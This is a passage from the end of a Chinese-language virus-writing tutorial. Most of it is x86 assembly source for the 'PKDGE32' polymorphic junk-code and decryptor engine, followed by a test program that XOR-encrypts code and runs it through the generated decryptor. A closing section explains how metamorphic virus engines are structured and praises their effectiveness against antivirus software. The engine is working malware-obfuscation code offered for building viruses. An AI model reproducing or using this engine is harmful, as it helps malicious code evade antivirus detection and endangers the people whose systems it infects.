db 39h ; cmp eax,reg
db 85h ; test eax,reg
db 09h ; or eax,reg
db 21h ; and eax,reg
db 31h ; xor eax,reg
db 0b0h ; mov al,imm8
db 04h ; add al,imm8
db 14h ; adc al,imm8
db 2ch ; sub al,imm8
db 1ch ; sbb al,imm8
db 3ch ; cmp al,imm8
db 0a8h ; test al,imm8
db 0ch ; or al,imm8
db 24h ; and al,imm8
db 34h ; xor al,imm8
pkdg_j_2: pop esi
mov eax,ebp
mov edx,20
call __random
add esi,eax
movsb ; write the opcode
cmp eax,10
jge pkdg_j2_imm8
mov eax,ebp
mov edx,8
call __random
shl eax,3 ; dest. operand
or al,0c0h ; ...
jmp pkdg_j2_f
pkdg_j2_imm8: mov eax,ebp
mov edx,100h
call __random
pkdg_j2_f: stosb
dec ecx ; decrease counter
dec ecx ; ...
jz pkdg_j_rptr
jmp pkdg_j_gclsi
;
; Generate 1-byte instruction
;
pkdg_j_g1b: call pkdg_j_1
db 90h ; nop
db 0f8h ; clc
db 0f9h ; stc
db 40h ; inc eax
db 48h ; dec eax
db 37h ; aaa
db 3fh ; aas
db 98h ; cbw
db 0fch ; cld
db 0f5h ; cmc
db 27h ; daa
db 2fh ; das
db 9fh ; lahf
db 0d6h ; salc
pkdg_j_1: pop esi
mov eax,ebp
mov edx,14
call __random
add esi,eax
movsb ; write the code
dec ecx ; decrease counter
or ecx,ecx
jnz pkdg_j_gclsi
pkdg_j_rptr: mov [esp],edi
pkdg_j_ret: popad
ret
;
; Generate dummy jumpz. the generation formula show in the decription of the
; __pkdge32_junk procedure
;
pkdg_j_dj: mov al,0e8h ; call xxxxxxxx
stosb ; ...
stosd ; addr1, no matter what, fix l8r
push edi
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0ebh ; jmp xx
stosb ; ...
stosb ; addr2, no matter what, fix l8r
push edi
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0c3h ; ret
stosb ; ...
mov eax,[esp+4] ; fix addr1
xchg eax,edi ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0ebh ; jmp xx
stosb ; ...
mov eax,[esp] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
pop eax ; pop a shit
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
jmp pkdg_j_rptr
程序中有完整的注释,加之前面的分析,这里我就不做过多解释了。整个引擎为1.353KB。
下面是这个引擎的测试程序:
format PE GUI 4.0
entry __start
include 'useful.inc'
.data
col_code: times crypted_size+200h db 0
rng_seed dd ?
.code
include 'pkrng.inc'
include 'pkdge32.inc'
__start: mov edi,col_code
mov esi,rng_seed
mov ecx,crypted_size
mov ebx,12345678h
mov edx,78h
call __pkdge32
push edi
mov esi,edi
xchg eax,edi
stosd
xchg esi,edi
mov esi,crypt_code
mov ecx,crypted_size
rep movsb
pop esi
mov ecx,crypted_size
mov edi,esi
encrypt: lodsb
xor al,78h
stosb
loop encrypt
jmp col_code
crypt_code: xor eax,eax
push eax
@pushsz 'PKDGE32 Test'
@pushsz 'This code has been decrypted sucessfully!'
push eax
call [MessageBoxA]
ret
crypted_size = $-crypt_code
.idata
@imp_libz usr,'user32.dll'
@imp_apiz usr,MessageBoxA,'MessageBoxA'
12、变形(Metamorphism)
-----------------------
由于meta的复杂性, 而且我的水平有限,所以在这一节我只介绍变形引擎的一些基本知识
而不给出代码(当然,网上可以找到很多关于meta的代码,我就不在这里列出了)。 也许
在这篇教程的后续版本中我会完成一个完整的meta引擎并补充进来。
变形是在多态的基础上发展起来的。 传统的poly只是把解密代码随机化,而病毒代码仅仅
是通过一个加密算法加密。 而meta的思想是对整个病毒代码进行变形。一般的meta引擎主
要有这么几个部分:
1) 反汇编器(Disassembler): 把病毒代码(机器码)反汇编成引擎可以识别的伪
代码(pseudo-code。具体的代码形式根据作者的喜好、习惯而定 :P),
2) 收缩器(Shrinker):对反汇编后的代码进行分析,简化代码(如把ADD EAX,10H
/ADD EAX,12H合并为一句MOV EAX,22H),删除上一代产生的垃圾代码等。这是整
个引擎中最为复杂的部分, 也正是因为有这个部分的存在才使得meta变得异常庞
大。其实在很多meta引擎中都没有这个部分(由于其复杂性), 使得病毒代码无
限膨胀,最终变得不可用。
3) 代码变换器(Permutator):这个部分复杂指令的变换, 如改变指令顺序、完成
指令替换、改变寄存器的使用等,这些我们在上一节都已经接触过了, 但不同的
是这里我们是要对伪代码进行处理(其实差不多)。
4) 膨胀器(Expander):这个过程是收缩器的反过程,完成诸如拆分指令、 生成垃
圾代码等工作。
5) 汇编器(Assembler):这是引擎的最后一个部分,它负责把处理完成的伪代码重
新汇编成机器可以识别的机器码。
看过上面的介绍各位读者是不是想放弃了呢 :P。是的,meta就是这样复杂,它的复杂性甚
至使很多人认为没有应用它的意义(虽然它有效地anti-AV)。但是时代不同了,现在有多
少人还会在乎代码的体积呢?我想也很少有人会注意自己的一些文件大了几十KB :D
其实meta也并不是没有简单的实现办法。这里我介绍一个最为简单的实现:Nopz Padding.
它在每条指令后用NOP填充,使每条指令等长。这样做的好处是我们不用使用Shrinker了,
整个引擎的设计也变得非常简单。这是meta引擎中最简单的实现方法:) 关于这类引擎的具
体代码可以参见Benny的BME32。 这个meta引擎简单易懂,在这里我就不多说了。请大家自
己分析吧 :)
13、结束语
----------
其实这篇文章介绍的内容并不多,也并不全面,但由于时间和能力的问题,我只能先就此停
笔了。我希望每位读者都能从这篇文章中得到些什么,这也是我写这篇文章的目的。希望大
家在各自的学习过程中都能少走弯路。不过,学习没有捷径,我们能做的只有踏实和努力。
最后我想说的是,由于我个人能力有限,所以文章中可能会存在着各种各样的问题,恳请大
家批评指出,并感谢大家肯耐心地把这篇文章读完...
-------------------------------------[完]---------------------------------------